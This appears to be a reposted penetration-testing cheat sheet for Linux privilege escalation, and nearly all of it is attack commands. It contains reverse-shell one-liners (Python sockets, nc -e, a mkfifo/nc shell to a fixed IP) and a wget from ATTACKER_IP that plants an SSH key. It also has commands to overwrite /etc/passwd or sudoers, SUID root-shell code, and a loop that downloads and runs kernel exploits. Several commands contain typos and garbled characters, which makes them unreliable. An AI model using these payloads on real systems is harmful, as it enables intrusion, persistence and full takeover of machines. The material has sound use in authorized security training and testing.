Linux elevation of privileges

* Post exploitation
#mathio.DZ
#+213{E0FDDAE2E60E040C2BC259EC8F8FC02CA22FB801363D3611BD83FB0934A3FE43B7738128F8513F3658B4F13FAE86BE4B7F4B140341FE08948EE20A516F620850 }
Shell Spawning

python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
(From within IRB)
exec "/bin/sh"
(From within vi)
:!bash
(From within vi)
:set shell=/bin/bash:shell
(From within nmap)
!sh

<Ctrlz> bg/stty raw -echo/fg/reset

Set PATH TERM and SHELL if missing:

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export TERM=xterm
export SHELL=bash
alias ls='ls -alt --block-size=M'
alias fh='find . |grep'
Add public key to authorized keys:

$ echo $(wget https://ATTACKER_IP/.ssh/id_rsa.pub) >> ~/.ssh/authotized_keys


 @h@* Escaping limited interpreters

Some payloads to overcome limited shells:

$ ssh user@$ip nc $localip 4444 -e /bin/sh
    enter user's password
$ python -c 'import pty; pty.spawn("/bin/sh")'
$ export TERM=linux

$ python -c 'import pty; pty.spawn("/bin/sh")'

$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),   *$ 1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

$ echo os.system('/bin/bash')

$ /bin/sh -i

$ exec "/bin/sh";

$ perl —e 'exec "/bin/sh";'

From within tcpdump

$ echo $’id\n/bin/netcat $ip 443 -e /bin/bash’ > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -I eth- -w /dev/null -W 1 -G 1 -z /tmp/.tst -Z root

From busybox

$ /bin/busybox telnetd -|/bin/sh -p9999

:!bash
:set shell=/bin/bash:shell
!bash
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;
awk 'BEGIN {system("/bin/bash")}'
--interactive
echo "os.execute('/bin/sh')"
sudo nmap --script=exploit.nse
perl -e 'exec "/bin/bash";'


Linux elevation of privileges, manual testing
Things to look: Miss-configured services (cronjobs), incorrect file permissions (exportfs, sudo),miss-@h@configured environment ($PATH), binary with SUID bit, software or OS with known vulnerabilities.

First try simple sudo:

$ sudo su -

What can we run with sudo?

$ sudo -l

Try su as all users and the username as password

What services are running as root?:

$ ps aux | grep root

Look for vulnerable/privileged components such as: mysql, sudo, udev, python

If /etc/exports if writable, you can add an NFS entry or change and existing entry adding the no_root_squash @h@flag to a root directory, put a binary with SUID bit on, and get root.

If there is a cronjob that runs as run but it has incorrect file permissions, you can change it to run your @h@SUID binary and get a shell.

The following command will list processes running by root, permissions and NFS exports.

$ echo 'services running as root'; ps aux | grep root;  echo 'permissions'; ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'; echo 'nfs info'; ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null

Use netstat to find other machines connected

$ netstat -ano

Command to skip ignored lines in config files

$ alias nonempty="egrep -v '^[ \t]*#|^$'"

If Mysql is running as root, you can run commands using sys_exec(). For instance, to add user to sudoers:

sys_exec('usermod -a -G admin username')

More about mysql:

https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/

Find linux distribution & version

$ cat /etc/issue; cat /etc/*-release; cat /etc/lsb-release; cat /etc/redhat-release;

Architecture

$ cat /proc/version; uname -a; uname -mrs; rpm -q kernel; dmesg | grep Linux; ls /boot | grep vmlinuz-; file /bin/ls; cat /etc/lsb-release

Environment variables

$ cat /etc/profile; cat /etc/bashrc; cat ~/.bash_profile; cat ~/.bashrc; cat ~/.bash_logout; env; set

Find printers

$ lpstat -a

Find apps installed;

$ ls -alh /usr/bin/; ls -alh /sbin/; dpkg -l; rpm -qa; ls -alh /var/cache/apt/archivesO; ls -alh /var/cache/yum/*;

Find writable configuration files

$ find /etc/ -writable -type f 2>/dev/null

Miss-configured services

$ cat /etc/syslog.conf; cat /etc/chttp.conf; cat /etc/lighttpd.conf; cat /etc/cups/cupsd.conf; cat /etc/inetd.conf; cat /etc/apache2/apache2.conf; cat /etc/my.conf; cat /etc/httpd/conf/httpd.conf; cat /opt/lampp/etc/httpd.conf; ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

Scheduled jobs

$ crontab -l; ls -alh /var/spool/cron; ls -al /etc/ | grep cron; ls -al /etc/cron*; cat /etc/cron*; cat /etc/at.allow; cat /etc/at.deny; cat /etc/cron.allow; cat /etc/cron.deny

Grep hardcoded passwords

$ grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"

if web server run in web root:

$ grep "localhost" ./ -R

Network configuration

$ /sbin/ifconfig -a; cat /etc/network/interfaces; cat /etc/sysconfig/network; cat /etc/resolv.conf; cat /etc/sysconfig/network; cat /etc/networks; iptables -L; hostname; dnsdomainname

List other users home directories

$ ls -ahlR /root/; ls -ahlR /home/

User bash history

$ cat ~/.bash_history; cat ~/.nano_history; cat ~/.atftp_history; cat ~/.mysql_history; cat ~/.php_history

User mails

$ cat ~/.bashrc; cat ~/.profile; cat /var/mail/root; cat /var/spool/mail/root

Find interesting binaries

$ find / -name wget; find / -name nc*; find / -name netcat*; find / -name tftp*; find / -name ftp

Mounted filesystems

$ mount; df -h; cat /etc/fstab

Look for binaries with the SUID or GUID bits set.

$ find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 6 -exec ls -ld {} \; 2>/dev/null
$ find / -perm -1000 -type d 2>/dev/null
$ find / -perm -g=s -type f 2>/dev/null

Adding a binary to PATH, to hijack another SUID binary invokes it without the fully qualified path.

$ function /usr/bin/foo () { /usr/bin/echo "It works"; }
$ export -f /usr/bin/foo
$ /usr/bin/foo
    It works

if you can just change PATH, the following will add a poisoned ssh binary:

 set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
 echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >> /tmp/ssh
 chmod +x ssh

Generating SUID C Shell for /bin/bash

int main(void){
    setresuid(0, 0, 0);
    system("/bin/bash");
}

Without interactive shell

$ echo -e '#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void){\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}' > setuid.c

If you can get root to execute anything, the following will change a binary owner to him and set the SUID @h@flag:

$ chown root:root /tmp/setuid;chmod 4777 /tmp/setuid;

If /etc/passwd has incorrect permissions, you can root:

 $ echo 'root::0:0:root:/root:/bin/bash' > /etc/passwd; su

Add user www-data to sudoers with no password

$ echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

If you can sudo chmod:

 $echo -e '#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void){\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}' > setuid.c $ sudo chown root:root /tmp/setuid; sudo chmod 4777 /tmp/setuid; /tmp/setuid

Wildcard injection if there is a cron with a wildcard in the command line, you can create a file, whose name @h@will be passed as an argument to the cron task, For more info:

https://www.sans.org/reading-room/whitepapers/testing/attack-defend-linux-privilege-escalation-techniques-2016-37562

compile exploit fix error

$ gcc 9545.c -o 9545 -Wl,--hash-style=both

Find other uses in the system

 $id; who; w; last; cat /etc/passwd | cut -d: -f1; echo 'sudoers:'; cat /etc/sudoers; sudo -l

World readable/writable files:

$ echo "world-writeable folders"; find / -writable -type d 2>/dev/null; echo "world-writeable folders"; find / -perm -222 -type d 2>/dev/null; echo "world-writeable folders"; find / -perm -o w -type d 2>/dev/null; echo "world-executable folders"; find / -perm -o x -type d 2>/dev/null; echo "world-writeable & executable folders"; find / \( -perm -o w -perm -o x \) -type d 2>/dev/null;

Find world-readable files:

$ find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print

Find nobody owned files

$ find /dir -xdev \( -nouser -o -nogroup \) -print

Add user to sudoers in python.

#!/usr/bin/env python
import os
import sys
try:
        os.system('echo "username ALL=(ALL:ALL) ALL" >> /etc/sudoers')
except:
        sys.exit()

Ring0 kernel exploit for 2.3/2.4

wget http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c; gcc 36038-6.c -m32 -o ring0; chmod +x ring0; ./ring0

Inspect web traffic

$ tcpdump tcp port 80 -w output.pcap -i eth0


Scripts to run

The following script runs exploit suggester and automatically downloads and executes suggested exploits:

https://raw.githubusercontent.com/codingo/OSCP-1/master/xploitdeli.py

wget http://www.securitysift.com/download/linuxprivchecker.py

wget https://github.com/pentestmonkey/unix-privesc-check

Other scripts:

wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh

wget https://raw.githubusercontent.com/PenturaLabs/Linux_Exploit_Suggester/master/Linux_Exploit_Suggester.pl

wget  https://www.rebootuser.com/?p=1758

Exploits worth running

CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8

https://www.exploit-db.com/exploits/15285/

Linux Kernel <= 2.6.37 'Full-Nelson.c'

https://www.exploit-db.com/exploits/15704/

CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)

https://git.zx2c4.com/CVE-2012-0056/about/

Linux CVE 2012-0056

wget -O exploit.c <http://www.exploit-db.com/download/18411>
  gcc -o mempodipper exploit.c
  ./mempodipper

CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

https://dirtycow.ninja/

Compile dirty cow:

 g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

Cross compiling exploits

$ gcc -m32 -o output32 hello.c #(32 bit)
$
 gcc -m64 -o output hello.c # (64 bit)

Linux 2.6.32

https://www.exploit-db.com/exploits/15285/

Open an xterm remotely

First, run an xserver in your machine

$ Xnest :1

Then, bind it to xterm, again in your machine:

$ xterm -display 127.0.0.1:1

Finally, run the follwing in the remote machine:

$ /usr/openwin/bin/xterm -display yourip:1

Get proof

$ echo " ";echo "uname -a:";uname -a;echo " ";echo "hostname:";hostname;echo " ";echo "id";id;echo " ";echo "ifconfig:";/sbin/ifconfig -a;echo " ";echo "proof:";cat /root/proof.txt 2>/dev/null; cat /Desktop/proof.txt 2>/dev/null;echo " "

Elevation in 2.6.x:

$ for a in 9352 9513 33321 15774 15150 15944 9543 33322 9545 25288 40838 40616 40611 ; do wget http://yourIP:8000/$a; chmod +x $a; ./$a; id; done

source:https://guif.re/linuxeop
#mathio